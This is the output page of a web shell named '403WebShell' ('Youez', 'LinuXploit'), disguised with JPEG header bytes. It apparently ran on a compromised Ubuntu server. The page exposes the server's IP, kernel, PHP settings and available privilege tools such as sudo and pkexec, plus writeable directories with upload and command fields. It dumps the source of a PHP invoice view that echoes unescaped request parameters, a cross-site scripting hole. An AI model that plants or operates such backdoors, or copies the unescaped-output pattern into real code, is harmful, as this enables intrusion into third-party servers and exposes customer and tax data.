����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.128.190.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/factura-view.php
<?php

$sell = SellData::getByIdF($_GET["id"]);
$sale1= $_GET['sale_id'];
$operations = OperationData::getByc($sale1);
/////////////////////////////////////////////////////////////////////////////////
////////////    Generar factura
/////////////////////////////////////////////////////////////////////////////////
$cliente = PersonData::getById($_GET['client_id']);
//print_r($cliente);

if (isset($_GET['id']))
{
	
	
	
	//header('Location: /multifacturas/ejemplo_cancela_factura.php');
	echo "<h1>Sistema de Generacion de Facturas</h1>";
	?>
	
	
	<!DOCTYPE html>
	<html>
	<body>
    
	<p>Verifique los Datos de la PreFactura, antes de Generar CFDI:</p>
	
	
	<form class="form-horizontal" method="post" enctype="multipart/form-data" id="add" action="report/factura_ok_Desglose-xlsx.php" role="form">
	
	
	
	<section class="content">
	<div class="row">
		<div class="col-md-12">
			<p><b>FOLIO DE TICKET:</b></p>
			
		<div class="row">
		
			<div class="col-md-6">
				<input type="text" name="id" value="<?php echo $_GET['id']; ?>" class="form-control" readonly="readonly"> <br>
				
				<p><b>Venta Id:</b></p>
				 <input type="text" id="sale_id" name="sale_id"  class="form-control" value="<?php echo $_GET['sale_id']; ?>" readonly="readonly">
				
				<p><b>CLIENTE:</b></p>
				 <input type="text" id="name_cte" name="name_cte"  class="form-control" value="<?php echo utf8_encode($cliente->name); ?>" required>
				 
				 <p><b>RFC:</b></p>
				 <input type="text" id="rfc" name="rfc"  class="form-control" value="<?php echo $cliente->rfc; ?>" required>
				 
			<?php
			$total=0;
			$subtotal=0;
			$impuestos=0;
			$i=0;
			foreach($operations as $operation){
				//preparamos el precio del producto
				 $price_sin = number_format($operation->price/1.08,2);
				$price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
				$product = 0;
				
				$cart[$i] = $product = array("barcode"=>$operation->barcode,"item_name"=>$operation->item_name,"q"=>$operation->qty,"price_in"=>$price_sin);
				
				
				$total = $total + $operation->price*$operation->qty;
				$subtotal = $subtotal + $price_sin*$operation->qty;
				$impuestos = $total - $subtotal;
				++$i;
			}
				//print_r($cart);
			?>	
			
			 <input type="hidden" id="prods" name="prods"  class="form-control" value="<?php echo serialize($cart); ?>" >
				
				
				<p><b>Subtotal:</b></p>
				 <input type="text" id="total" name="subtotal"  class="form-control" value="<?php echo number_format($subtotal,2);?>" readonly="readonly">
				
				<p><b>impuestos(tasa 8%):</b></p>
				 <input type="text" id="total" name="impuestos"  class="form-control" value="<?php echo number_format($impuestos,2);?>" readonly="readonly">
			
				
				<p><b>Total:</b></p>
				 <input type="text" id="total" name="total"  class="form-control" value="<?php echo number_format($total,2);?>" readonly="readonly">
			
				<p><b>Tipo Registro:</b></p>
					<select name="uso_cfdi" readonly id="uso_cfdi" class="form-control" onclick="mostrarReferencia2();">
						<option value="G01">Adquisición de mercancias</option>
						<option value="G02">Devoluciones, descuentos o bonificaciones</option>
						<option value="G03">Gastos en general</option>
						<option value="I01">Construcciones</option>
						<option value="I02">Mobilario y equipo de oficina por inversiones</option>
						<option value="I03">Equipo de transporte</option>
						<option value="I04">Equipo de computo y accesorios</option>
					</select> 
				
				<p><b>Forma de Pago:</b></p>
								<select name="forma_id" id="forma_id" class="form-control" required>
									<option value="">-- NINGUNA --</option>
									<?php 
									$categories = FData::getAll();
									foreach($categories as $category):?>
									  <option value="<?php echo $category->def;?>"><?php echo $category->name;?></option>
									<?php endforeach;?>
								  </select>  
				<br>
			</div>
		
			
					
			
			
		<br>
		<br>
     		
    	</div>
		<div class="row" >
		    <div class="col-md-3" align="center">
			 <button type="submit" class="btn btn-primary" id="btnsavetrans" >Agregar Registro</button>
			
			<button type="" class="btn btn-danger" onclick="history.back()">Cancelar</button>
			</div>
	    </div>
	</div>
	</div>
</section>	
	
	
	</form>

	<script>
		$(document).on( "click","#btnsavetrans", function() {
			 var btn_1 = document.getElementById('btnsavetrans');
			  btn_1.style.display = 'none';
		});
	</script>

</body>
</html>
	
	
	<?php
	
	
	
}else
{
	echo "ERROR NO SE TIENE REGISTRO DE ESTE TICKET O VENTA";
}


?>


Youez - 2016 - github.com/yon3zu
LinuXploit